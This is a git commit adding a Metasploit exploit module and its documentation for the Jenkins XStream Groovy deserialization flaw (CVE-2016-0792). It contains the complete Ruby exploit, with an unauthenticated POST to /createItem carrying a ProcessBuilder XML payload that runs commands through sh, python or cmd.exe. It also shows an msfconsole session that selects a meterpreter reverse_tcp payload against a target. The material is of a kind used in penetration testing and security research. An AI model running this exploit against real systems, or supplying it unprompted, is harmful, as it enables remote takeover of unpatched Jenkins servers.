Land #9183, Jenkins Groovy XStream RCE

MS-2855/keylogger-mettle-extension
William Vu 2017-12-18 03:38:27 -06:00
commit 76823e9fe6
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 203 additions and 0 deletions

View File

@ -0,0 +1,62 @@
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
## Vulnerable Application
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
Download Jenkins (Windows) < version 1.650 from here:
http://mirrors.jenkins-ci.org/windows/
Windows Installation: Double click .msi
Download Jenkins LTS (Debian) < version 1.642.2 from here:
https://pkg.jenkins.io/debian-stable/
Download Jenkins (Debian) < version 1.650 from here:
https://pkg.jenkins.io/debian/
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
## Options
**TARGETURI**
The base path to Jenkins application `/` by default
**VHOST**
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
**The Check Command**
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
```
set RHOST [IP]
set TARGETURI [path to Jenkins]
```
```
msf exploit(jenkins_xstream_deserialize) > check
[*] 192.168.1.64:8080 The target appears to be vulnerable..
```
**Exploiting the Host**
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
```
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
RHOST => 192.168.1.37
msf exploit(jenkins_xstream_deserialize) > set target 3
target => 3
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(jenkins_xstream_deserialize) > exploit
```

View File

@ -0,0 +1,141 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
'Description' => %q{
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
which allows remote arbitrary code execution. The issue affects default installations. Authentication
is not required to exploit the vulnerability.
},
'Author' =>
[
'Arshan Dabirsiaghi', # Vulnerability discovery
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'DisclosureDate' => 'Feb 24 2016',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-0792'],
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
],
'Platform' => %w{ win linux unix },
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
Opt::RPORT('8080')
])
deregister_options('URIPATH')
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})
unless res
fail_with(Failure::Unknown, 'The connection timed out.')
end
http_headers = res.headers
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
case target.name
when /Unix/, /Python/
execute_command(payload.encoded)
else
execute_cmdstager
end
end
# Exploit methods
def execute_command(cmd, opts = {})
cmd = case target.name
when /Unix/, /Linux/
%W{/bin/sh -c #{cmd}}
when /Python/
%W{python -c #{cmd}}
when /Windows/
%W{cmd.exe /c #{cmd}}
end
# Encode each command argument with XML entities
cmd.map! { |arg| arg.encode(xml: :text) }
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/createItem'),
'vars_get' => { 'name' => 'random' },
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)
end
def xstream_payload(cmd)
<<EOF
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
EOF
end
end